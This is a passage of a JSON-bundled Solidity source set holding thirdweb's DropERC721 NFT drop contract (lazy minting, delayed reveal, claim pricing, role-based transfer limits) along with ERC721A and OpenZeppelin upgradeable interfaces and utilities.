:= add(o, add(i, i))\n let temp := byte(i, value)\n mstore8(add(p, 1), mload(and(temp, 15)))\n mstore8(p, mload(shr(4, temp)))\n i := add(i, 1)\n if eq(i, 20) {\n break\n }\n }\n }\n }\n\n /// @dev Returns the hex encoded string from the raw bytes.\n /// The output is encoded using 2 hexadecimal digits per byte.\n function toHexString(bytes memory raw) internal pure returns (string memory str) {\n str = toHexStringNoPrefix(raw);\n /// @solidity memory-safe-assembly\n assembly {\n let strLength := add(mload(str), 2) // Compute the length.\n mstore(str, 0x3078) // Write the \"0x\" prefix.\n str := sub(str, 2) // Move the pointer.\n mstore(str, strLength) // Write the length.\n }\n }\n\n /// @dev Returns the hex encoded string from the raw bytes.\n /// The output is encoded using 2 hexadecimal digits per byte.\n function toHexStringNoPrefix(bytes memory raw) internal pure returns (string memory str) {\n /// @solidity memory-safe-assembly\n assembly {\n let length := mload(raw)\n str := add(mload(0x40), 2) // Skip 2 bytes for the optional prefix.\n mstore(str, add(length, length)) // Store the length of the output.\n\n // Store \"0123456789abcdef\" in scratch space.\n mstore(0x0f, 0x30313233343536373839616263646566)\n\n let o := add(str, 0x20)\n let end := add(raw, length)\n\n for {\n\n } iszero(eq(raw, end)) {\n\n } {\n raw := add(raw, 1)\n mstore8(add(o, 1), mload(and(mload(raw), 15)))\n mstore8(o, mload(and(shr(4, mload(raw)), 15)))\n o := add(o, 2)\n }\n mstore(o, 0) // Zeroize the slot after the string.\n mstore(0x40, add(o, 0x20)) // Allocate the memory.\n }\n }\n}\n"
},
"contracts/prebuilts/drop/DropERC721.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.11;\n\n/// @author thirdweb\n\n// $$\\ $$\\ $$\\ $$\\ $$\\\n// $$ | $$ | \\__| $$ | $$ |\n// $$$$$$\\ $$$$$$$\\ $$\\ $$$$$$\\ $$$$$$$ |$$\\ $$\\ $$\\ $$$$$$\\ $$$$$$$\\\n// \\_$$ _| $$ __$$\\ $$ |$$ __$$\\ $$ __$$ |$$ | $$ | $$ |$$ __$$\\ $$ __$$\\\n// $$ | $$ | $$ |$$ |$$ | \\__|$$ / $$ |$$ | $$ | $$ |$$$$$$$$ |$$ | $$ |\n// $$ |$$\\ $$ | $$ |$$ |$$ | $$ | $$ |$$ | $$ | $$ |$$ ____|$$ | $$ |\n// \\$$$$ |$$ | $$ |$$ |$$ | \\$$$$$$$ |\\$$$$$\\$$$$ |\\$$$$$$$\\ $$$$$$$ |\n// \\____/ \\__| \\__|\\__|\\__| \\_______| \\_____\\____/ \\_______|\\_______/\n\n// ========== External imports ==========\n\nimport \"../../extension/Multicall.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol\";\n\nimport \"../../eip/ERC721AVirtualApproveUpgradeable.sol\";\n\n// ========== Internal imports ==========\n\nimport \"../../external-deps/openzeppelin/metatx/ERC2771ContextUpgradeable.sol\";\nimport \"../../lib/CurrencyTransferLib.sol\";\n\n// ========== Features ==========\n\nimport \"../../extension/ContractMetadata.sol\";\nimport \"../../extension/PlatformFee.sol\";\nimport \"../../extension/Royalty.sol\";\nimport \"../../extension/PrimarySale.sol\";\nimport \"../../extension/Ownable.sol\";\nimport \"../../extension/DelayedReveal.sol\";\nimport \"../../extension/LazyMint.sol\";\nimport \"../../extension/PermissionsEnumerable.sol\";\nimport \"../../extension/Drop.sol\";\n\ncontract DropERC721 is\n Initializable,\n ContractMetadata,\n PlatformFee,\n Royalty,\n PrimarySale,\n Ownable,\n DelayedReveal,\n LazyMint,\n PermissionsEnumerable,\n Drop,\n ERC2771ContextUpgradeable,\n Multicall,\n ERC721AUpgradeable\n{\n using StringsUpgradeable for uint256;\n\n /*///////////////////////////////////////////////////////////////\n State variables\n //////////////////////////////////////////////////////////////*/\n\n /// @dev Only transfers to or from TRANSFER_ROLE holders are valid, when transfers are restricted.\n bytes32 private transferRole;\n /// @dev Only MINTER_ROLE holders can sign off on `MintRequest`s and lazy mint tokens.\n bytes32 private minterRole;\n /// @dev Only METADATA_ROLE holders can reveal the URI for a batch of delayed reveal NFTs, and update or freeze batch metadata.\n bytes32 private metadataRole;\n\n /// @dev Max bps in the thirdweb system.\n uint256 private constant MAX_BPS = 10_000;\n\n /// @dev Global max total supply of NFTs.\n uint256 public maxTotalSupply;\n\n /// @dev Emitted when the global max supply of tokens is updated.\n event MaxTotalSupplyUpdated(uint256 maxTotalSupply);\n\n /*///////////////////////////////////////////////////////////////\n Constructor + initializer logic\n //////////////////////////////////////////////////////////////*/\n\n constructor() initializer {}\n\n /// @dev Initializes the contract, like a constructor.\n function initialize(\n address _defaultAdmin,\n string memory _name,\n string memory _symbol,\n string memory _contractURI,\n address[] memory _trustedForwarders,\n address _saleRecipient,\n address _royaltyRecipient,\n uint128 _royaltyBps,\n uint128 _platformFeeBps,\n address _platformFeeRecipient\n ) external initializer {\n bytes32 _transferRole = keccak256(\"TRANSFER_ROLE\");\n bytes32 _minterRole = keccak256(\"MINTER_ROLE\");\n bytes32 _metadataRole = keccak256(\"METADATA_ROLE\");\n\n // Initialize inherited contracts, most base-like -> most derived.\n __ERC2771Context_init(_trustedForwarders);\n __ERC721A_init(_name, _symbol);\n\n _setupContractURI(_contractURI);\n _setupOwner(_defaultAdmin);\n\n _setupRole(DEFAULT_ADMIN_ROLE, _defaultAdmin);\n _setupRole(_minterRole, _defaultAdmin);\n _setupRole(_transferRole, _defaultAdmin);\n _setupRole(_transferRole, address(0));\n _setupRole(_metadataRole, _defaultAdmin);\n _setRoleAdmin(_metadataRole, _metadataRole);\n\n _setupPlatformFeeInfo(_platformFeeRecipient, _platformFeeBps);\n _setupDefaultRoyaltyInfo(_royaltyRecipient, _royaltyBps);\n _setupPrimarySaleRecipient(_saleRecipient);\n\n transferRole = _transferRole;\n minterRole = _minterRole;\n metadataRole = _metadataRole;\n }\n\n /*///////////////////////////////////////////////////////////////\n ERC 165 / 721 / 2981 logic\n //////////////////////////////////////////////////////////////*/\n\n /// @dev Returns the URI for a given tokenId.\n function tokenURI(uint256 _tokenId) public view override returns (string memory) {\n (uint256 batchId, ) = _getBatchId(_tokenId);\n string memory batchUri = _getBaseURI(_tokenId);\n\n if (isEncryptedBatch(batchId)) {\n return string(abi.encodePacked(batchUri, \"0\"));\n } else {\n return string(abi.encodePacked(batchUri, _tokenId.toString()));\n }\n }\n\n /// @dev See ERC 165\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC721AUpgradeable, IERC165) returns (bool) {\n return super.supportsInterface(interfaceId) || type(IERC2981Upgradeable).interfaceId == interfaceId;\n }\n\n /*///////////////////////////////////////////////////////////////\n Contract identifiers\n //////////////////////////////////////////////////////////////*/\n\n function contractType() external pure returns (bytes32) {\n return bytes32(\"DropERC721\");\n }\n\n function contractVersion() external pure returns (uint8) {\n return uint8(4);\n }\n\n /*///////////////////////////////////////////////////////////////\n Lazy minting + delayed-reveal logic\n //////////////////////////////////////////////////////////////*/\n\n /**\n * @dev Lets an account with `MINTER_ROLE` lazy mint 'n' NFTs.\n * The URIs for each token is the provided `_baseURIForTokens` + `{tokenId}`.\n */\n function lazyMint(\n uint256 _amount,\n string calldata _baseURIForTokens,\n bytes calldata _data\n ) public override returns (uint256 batchId) {\n if (_data.length > 0) {\n (bytes memory encryptedURI, bytes32 provenanceHash) = abi.decode(_data, (bytes, bytes32));\n if (encryptedURI.length != 0 && provenanceHash != \"\") {\n _setEncryptedData(nextTokenIdToLazyMint + _amount, _data);\n }\n }\n\n return super.lazyMint(_amount, _baseURIForTokens, _data);\n }\n\n /// @dev Lets an account with `METADATA_ROLE` reveal the URI for a batch of 'delayed-reveal' NFTs.\n /// @param _index the ID of a token with the desired batch.\n /// @param _key the key to decrypt the batch's URI.\n function reveal(\n uint256 _index,\n bytes calldata _key\n ) external onlyRole(metadataRole) returns (string memory revealedURI) {\n uint256 batchId = getBatchIdAtIndex(_index);\n revealedURI = getRevealURI(batchId, _key);\n\n _setEncryptedData(batchId, \"\");\n _setBaseURI(batchId, revealedURI);\n\n emit TokenURIRevealed(_index, revealedURI);\n }\n\n /**\n * @notice Updates the base URI for a batch of tokens. Can only be called if the batch has been revealed/is not encrypted.\n *\n * @param _index Index of the desired batch in batchIds array\n * @param _uri the new base URI for the batch.\n */\n function updateBatchBaseURI(uint256 _index, string calldata _uri) external onlyRole(metadataRole) {\n require(!isEncryptedBatch(getBatchIdAtIndex(_index)), \"Encrypted batch\");\n uint256 batchId = getBatchIdAtIndex(_index);\n _setBaseURI(batchId, _uri);\n }\n\n /**\n * @notice Freezes the base URI for a batch of tokens.\n *\n * @param _index Index of the desired batch in batchIds array.\n */\n function freezeBatchBaseURI(uint256 _index) external onlyRole(metadataRole) {\n require(!isEncryptedBatch(getBatchIdAtIndex(_index)), \"Encrypted batch\");\n uint256 batchId = getBatchIdAtIndex(_index);\n _freezeBaseURI(batchId);\n }\n\n /*///////////////////////////////////////////////////////////////\n Setter functions\n //////////////////////////////////////////////////////////////*/\n\n /// @dev Lets a contract admin set the global maximum supply for collection's NFTs.\n function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyRole(DEFAULT_ADMIN_ROLE) {\n maxTotalSupply = _maxTotalSupply;\n emit MaxTotalSupplyUpdated(_maxTotalSupply);\n }\n\n /*///////////////////////////////////////////////////////////////\n Internal functions\n //////////////////////////////////////////////////////////////*/\n\n /// @dev Runs before every `claim` function call.\n function _beforeClaim(\n address,\n uint256 _quantity,\n address,\n uint256,\n AllowlistProof calldata,\n bytes memory\n ) internal view override {\n require(_currentIndex + _quantity <= nextTokenIdToLazyMint, \"!Tokens\");\n require(maxTotalSupply == 0 || _currentIndex + _quantity <= maxTotalSupply, \"!Supply\");\n }\n\n /// @dev Collects and distributes the primary sale value of NFTs being claimed.\n function _collectPriceOnClaim(\n address _primarySaleRecipient,\n uint256 _quantityToClaim,\n address _currency,\n uint256 _pricePerToken\n ) internal override {\n if (_pricePerToken == 0) {\n require(msg.value == 0, \"!V\");\n return;\n }\n\n (address platformFeeRecipient, uint16 platformFeeBps) = getPlatformFeeInfo();\n\n address saleRecipient = _primarySaleRecipient == address(0) ? primarySaleRecipient() : _primarySaleRecipient;\n\n uint256 totalPrice = _quantityToClaim * _pricePerToken;\n uint256 platformFees = (totalPrice * platformFeeBps) / MAX_BPS;\n\n bool validMsgValue;\n if (_currency == CurrencyTransferLib.NATIVE_TOKEN) {\n validMsgValue = msg.value == totalPrice;\n } else {\n validMsgValue = msg.value == 0;\n }\n require(validMsgValue, \"!V\");\n\n CurrencyTransferLib.transferCurrency(_currency, _msgSender(), platformFeeRecipient, platformFees);\n CurrencyTransferLib.transferCurrency(_currency, _msgSender(), saleRecipient, totalPrice - platformFees);\n }\n\n /// @dev Transfers the NFTs being claimed.\n function _transferTokensOnClaim(\n address _to,\n uint256 _quantityBeingClaimed\n ) internal override returns (uint256 startTokenId) {\n startTokenId = _currentIndex;\n _safeMint(_to, _quantityBeingClaimed);\n }\n\n /// @dev Checks whether platform fee info can be set in the given execution context.\n function _canSetPlatformFeeInfo() internal view override returns (bool) {\n return hasRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n /// @dev Checks whether primary sale recipient can be set in the given execution context.\n function _canSetPrimarySaleRecipient() internal view override returns (bool) {\n return hasRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n /// @dev Checks whether owner can be set in the given execution context.\n function _canSetOwner() internal view override returns (bool) {\n return hasRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n /// @dev Checks whether royalty info can be set in the given execution context.\n function _canSetRoyaltyInfo() internal view override returns (bool) {\n return hasRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n /// @dev Checks whether contract metadata can be set in the given execution context.\n function _canSetContractURI() internal view override returns (bool) {\n return hasRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n /// @dev Checks whether platform fee info can be set in the given execution context.\n function _canSetClaimConditions() internal view override returns (bool) {\n return hasRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }\n\n /// @dev Returns whether lazy minting can be done in the given execution context.\n function _canLazyMint() internal view virtual override returns (bool) {\n return hasRole(minterRole, _msgSender());\n }\n\n /*///////////////////////////////////////////////////////////////\n Miscellaneous\n //////////////////////////////////////////////////////////////*/\n\n /**\n * Returns the total amount of tokens minted in the contract.\n */\n function totalMinted() external view returns (uint256) {\n return _totalMinted();\n }\n\n /// @dev The tokenId of the next NFT that will be minted / lazy minted.\n function nextTokenIdToMint() external view returns (uint256) {\n return nextTokenIdToLazyMint;\n }\n\n /// @dev The next token ID of the NFT that can be claimed.\n function nextTokenIdToClaim() external view returns (uint256) {\n return _currentIndex;\n }\n\n /// @dev Burns `tokenId`. See {ERC721-_burn}.\n function burn(uint256 tokenId) external virtual {\n // note: ERC721AUpgradeable's `_burn(uint256,bool)` internally checks for token approvals.\n _burn(tokenId, true);\n }\n\n /// @dev See {ERC721-_beforeTokenTransfer}.\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual override {\n super._beforeTokenTransfers(from, to, startTokenId, quantity);\n\n // if transfer is restricted on the contract, we still want to allow burning and minting\n if (!hasRole(transferRole, address(0)) && from != address(0) && to != address(0)) {\n if (!hasRole(transferRole, from) && !hasRole(transferRole, to)) {\n revert(\"!Transfer-Role\");\n }\n }\n }\n\n function _dropMsgSender() internal view virtual override returns (address) {\n return _msgSender();\n }\n\n function _msgSender()\n internal\n view\n virtual\n override(ContextUpgradeable, ERC2771ContextUpgradeable, Multicall)\n returns (address sender)\n {\n return ERC2771ContextUpgradeable._msgSender();\n }\n\n function _msgData()\n internal\n view\n virtual\n override(ContextUpgradeable, ERC2771ContextUpgradeable)\n returns (bytes calldata)\n {\n return ERC2771ContextUpgradeable._msgData();\n }\n}\n"
},
"lib/ERC721A-Upgradeable/contracts/IERC721AUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v3.3.0\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol\";\n\n/**\n * @dev Interface of an ERC721A compliant contract.\n */\ninterface IERC721AUpgradeable is IERC721Upgradeable, IERC721MetadataUpgradeable {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * The caller cannot approve to their own address.\n */\n error ApproveToCaller();\n\n /**\n * The caller cannot approve to the current owner.\n */\n error ApprovalToCurrentOwner();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n // Compiler will pack this into a single 256bit word.\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Keeps track of the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n }\n\n // Compiler will pack this into a single 256bit word.\n struct AddressData {\n // Realistically, 2**64-1 is more than enough.\n uint64 balance;\n // Keeps track of mint count with minimal overhead for tokenomics.\n uint64 numberMinted;\n // Keeps track of burn count with minimal overhead for tokenomics.\n uint64 numberBurned;\n // For miscellaneous variable(s) pertaining to the address\n // (e.g. number of whitelist mint slots used).\n // If there are multiple variables, please pack them into a uint64.\n uint64 aux;\n }\n\n /**\n * @dev Returns the total amount of tokens stored by the contract.\n * \n * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens.\n */\n function totalSupply() external view returns (uint256);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC2981Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981Upgradeable is IERC165Upgradeable {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721ReceiverUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal 